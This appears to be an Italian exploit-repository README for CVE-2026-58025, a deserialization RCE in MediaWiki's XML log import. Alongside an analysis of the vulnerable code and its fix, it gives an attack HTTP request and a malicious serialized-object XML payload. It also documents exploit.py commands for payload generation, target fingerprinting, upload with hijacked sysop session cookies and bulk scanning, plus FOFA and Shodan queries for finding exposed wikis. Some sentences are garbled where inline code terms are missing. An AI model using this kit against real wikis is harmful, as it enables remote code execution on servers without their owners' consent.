
CVE-2026-58025 — RCE di deserializzazione MediaWiki tramite importazione di voci di log. LogEntryBase::extractParams() unserialize() log_params controllati dall'utente. CVSS 9.8 | CWE-502 | MediaWiki < 1.43.9, < 1.44.6, < 1.45.4, < 1.46.0
CVE-2026-58025 è una vulnerabilità critica (CVSS 9.8) di deserializzazione di dati non attendibili in MediaWiki (Wikimedia Foundation). Il metodo LogEntryBase::extractParams() chiamava su parametri di voci di log controllati dall'utente senza limitare quali classi PHP potessero essere istanziate. Un attaccante con il diritto o (default: gruppo ) poteva creare un file di importazione XML dannoso contenente oggetti PHP serializzati nei campi , innescando l'istanziazione arbitraria di oggetti e una potenziale esecuzione di codice remoto tramite gadget chain.
unserialize()importuploadimportsysop<params>| Ramo di versione | Vulnerabile | Corretta |
|---|---|---|
| 1.43.x | < 1.43.9 | 1.43.9 |
| 1.44.x | < 1.44.6 | 1.44.6 |
| 1.45.x | < 1.45.4 | 1.45.4 |
| 1.46.x | < 1.46.0 | 1.46.0 |
Requisiti: il diritto
importoimportupload(default: grupposysop). L'attaccante deve poter caricare o importare un file XML nella Special:Import di MediaWiki.
LogEntryBase::extractParams() in includes/Logging/LogEntryBase.php chiamava unserialize() direttamente sul blob log_params senza alcuna restrizione sulle classi:
// includes/Logging/LogEntryBase.php (BEFORE fix)
public static function extractParams( $blob ) {
return unserialize( $blob ); // ← user-controlled, no allowed_classes restriction
}
Questo metodo viene chiamato da più punti:
| File | Riga | Contesto |
|---|---|---|
includes/Logging/DatabaseLogEntry.php | 187 | getParameters() — lettura delle voci di log dal database |
includes/RecentChanges/RecentChange.php | 781 | parseParams() — parsing delle modifiche recenti |
includes/Import/WikiRevision.php | 638 | importLogItem() — importazione delle voci di log da XML |
maintenance/purgeChangedFiles.php | 182 | Parsing dei log dello script di manutenzione |
tests/phpunit/maintenance/DumpAsserter.php | 541 | Helper di test |
Il vettore d'attacco principale è l'importazione XML tramite Special:Import:
import/importupload) crea un file di esportazione XML di MediaWiki dannoso<logitem> con un campo <params> contenente un payload PHP serializzatoWikiImporter::processLogItem() → WikiRevision::importLogItem() memorizza la voce di logDatabaseLogEntry::getParameters(), RecentChange::parseParams() o la visualizzazione dei log), LogEntryBase::extractParams() chiama unserialize() sul blob controllato dall'attaccantePOST /wiki/Special:Import
Content-Type: multipart/form-data
action=submit
xmlimportfile=<malicious.xml>
source=file
catname=
prefix=
loginComment=
malicious.xml:
<mediawiki ...>
<logitem>
<type>test</type>
<action>test</action>
<params>a:1:{s:3:"foo";O:8:"GadgetClass":N:{...}}</params>
</logitem>
</mediawiki>
→ WikiImporter::handleLogItem()
→ WikiImporter::processLogItem()
→ WikiRevision::importLogItem() → stores to DB
→ Later: DatabaseLogEntry::getParameters()
→ LogEntryBase::extractParams( $blob ) → unserialize( $blob )
→ PHP instantiates GadgetClass object → __wakeup() / __destruct() gadget chain
→ RCE as www-data
Il campo <params> nell'importazione XML accetta stringhe PHP serializzate standard. Una voce sicura (innocua):
a:1:{s:3:"foo";s:3:"bar";}
Una voce dannosa contenente un oggetto serializzato:
a:1:{s:3:"foo";O:8:"stdClass":0:{}}
Quando unserialize() viene chiamato senza la restrizione allowed_classes, l'oggetto viene completamente istanziato. Con una gadget chain disponibile (ad esempio, da librerie installate via Composer), questo diventa RCE.
Commit: 60f154d4618063ac4d5832285fc246b8fcd7c72c
Autore: Bartosz Dziewoński
Data: 2026-06-29
La correzione implementa più livelli di difesa:
unserialize() limitato con allowed_classes// includes/Logging/LogEntryBase.php (AFTER fix)
public static function extractParams( $blob, ?string $logType = null ) {
$attribute = ExtensionRegistry::getInstance()->getAttribute( 'LogParamsAllowedClasses' );
if ( $logType && array_key_exists( $logType, $attribute ) && is_array( $attribute[$logType] ) ) {
$allowedClasses = $attribute[$logType];
} else {
$allowedClasses = false; // no classes allowed
}
$result = @unserialize( $blob, [ 'allowed_classes' => $allowedClasses ] );
if ( $result !== false && !is_array( $result ) ) {
return false;
}
return $result;
}
containsUnsafeParams()Rileva le istanze __PHP_Incomplete_Class (oggetti bloccati da allowed_classes):
public static function containsUnsafeParams( array $params ): bool {
$result = false;
$params = [ $params ];
array_walk_recursive( $params, static function ( $val ) use ( &$result ) {
if ( $val instanceof \__PHP_Incomplete_Class ) {
$result = true;
}
} );
return $result;
}
WikiImporter::processLogItem()Nuovo controllo del permesso logentryimport (non concesso a nessuno di default):
private function processLogItem( $logInfo ) {
if ( !$this->performer->authorizeAction( 'logentryimport' ) ) {
$this->notice( 'permissionserrorstext-withaction-noreason', ... );
return false;
}
// ...
}
WikiRevision::importLogItem() — rifiuto dei parametri non sicuriif ( LogEntryBase::containsUnsafeParams(
LogEntryBase::extractParams( $this->params, "{$this->type}/{$this->action}" ),
) ) {
wfDebug( __METHOD__ . ": skipping {$this->type}/{$this->action} with unsafe params" );
return false;
}
UnsafeLogFormatter — visualizzazione sicura delle voci dannose esistentiLa nuova classe UnsafeLogFormatter sostituisce il formatter normale per le voci contenenti oggetti bloccati, mostrando un messaggio segnaposto invece di tentare di formattare i dati pericolosi.
La stessa ricerca (T422244) ha inoltre evidenziato che il tipo di parametro raw di LogFormatter consentiva di generare output HTML grezzo a partire da parametri di log controllati dall'utente. Questo è stato corretto in un commit complementare sostituendo Message::rawParam() con Message::plaintextParam().
Lo script exploit.py incluso genera un file di importazione XML di MediaWiki dannoso contenente oggetti PHP serializzati nei parametri delle voci di log. Può anche effettuare il fingerprinting delle istanze di MediaWiki e tentare l'importazione tramite API.
# Generate malicious XML payload
python exploit.py --generate --output payload.xml
# Fingerprint target
python exploit.py -u https://target.com --check
# Full exploit (requires valid session cookies for sysop user)
python exploit.py -u https://target.com -c "session_cookies_here"
git clone https://github.com/shinthink/CVE-2026-58025.git
cd CVE-2026-58025
pip install requests
# Generate malicious XML import file
python exploit.py --generate --output payload.xml
# Fingerprint MediaWiki version
python exploit.py -u https://target.com --check
# Upload malicious XML via Special:Import (requires sysop session)
python exploit.py -u https://target.com -c "wiki_session=abc123; wikiUserID=1; wikiUserName=admin"
# Bulk check
python exploit.py -f targets.txt --check -o results.txt
FOFA: body="mediawiki" && body="Special:Import"
Shodan: http.html:"mediawiki"
SECURITY: Safely unserialize log entry parametersLogFormatter: 'raw' parameter format is no longer raw HTMLQuesto exploit è fornito esclusivamente a scopo educativo e di ricerca sulla sicurezza autorizzata. Non utilizzarlo contro sistemi senza il permesso esplicito del proprietario.